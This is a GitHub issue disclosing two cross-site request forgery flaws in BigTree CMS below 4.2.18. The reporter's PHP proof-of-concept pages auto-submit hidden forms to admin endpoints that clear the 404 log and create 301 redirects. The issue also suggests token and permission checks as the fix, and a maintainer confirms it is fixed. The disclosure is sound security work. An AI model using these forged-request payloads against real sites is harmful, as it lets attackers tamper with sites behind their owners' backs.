Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Multiple Security Issue of CSRF exists in BigTree CMS Less than 4.2.18 #287

Closed
xfkxfk opened this issue Jun 2, 2017 · 1 comment
Closed

Comments

@xfkxfk
Copy link

xfkxfk commented Jun 2, 2017

Multiple Security Issue of CSRF exists in BigTree CMS Less than 4.2.18

one
with the clear parameter to the \BigTree-CMS-4.2.18\core\admin\modules\dashboard\vitals-statistics\404\clear.php
poc:

<?php
$s = "<form method='post' action='http://www.victim.com/BigTree-CMS-4.2.18/site/index.php/admin/dashboard/vitals-statistics/404/clear/'>";
$s = $s."<input type='text' value='Clear+404s' name='clear' style='display:none!important;display:block;width=0;height=0' />";
$s = $s."</form>";
$s = $s."<script>document.forms[0].submit();</script>";
echo($s);
?>

request http://www.attack.com/poc1.php, then you will clear 404 report

tow
with the from-and-to parameter to the \BigTree-CMS-4.2.18\core\admin\modules\dashboard\vitals-statistics\404\create-301.php
poc:

<?php
$s = "<form method='post' action='http://www.victim.com/BigTree-CMS-4.2.18/site/index.php/admin/dashboard/vitals-statistics/404/create-301/'>";
$s = $s."<input type='text' value='111111' name='from' style='display:none!important;display:block;width=0;height=0' />";
$s = $s."<input type='text' value='222222' name='to' style='display:none!important;display:block;width=0;height=0' />";
$s = $s."</form>";
$s = $s."<script>document.forms[0].submit();</script>";
echo($s);
?>

request http://www.attack.com/poc2.php, then you will create one 301 Redirect

repair
and There is no control of user rights, any user can do these operations
so, you my be use verifyCSRFToken() and requireLevel(1) function.

thank you !

email:xfkxfk@secbook.com

timbuckingham added a commit that referenced this issue Jun 10, 2017
@timbuckingham
Copy link
Collaborator

Fixed in the two above commits, thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants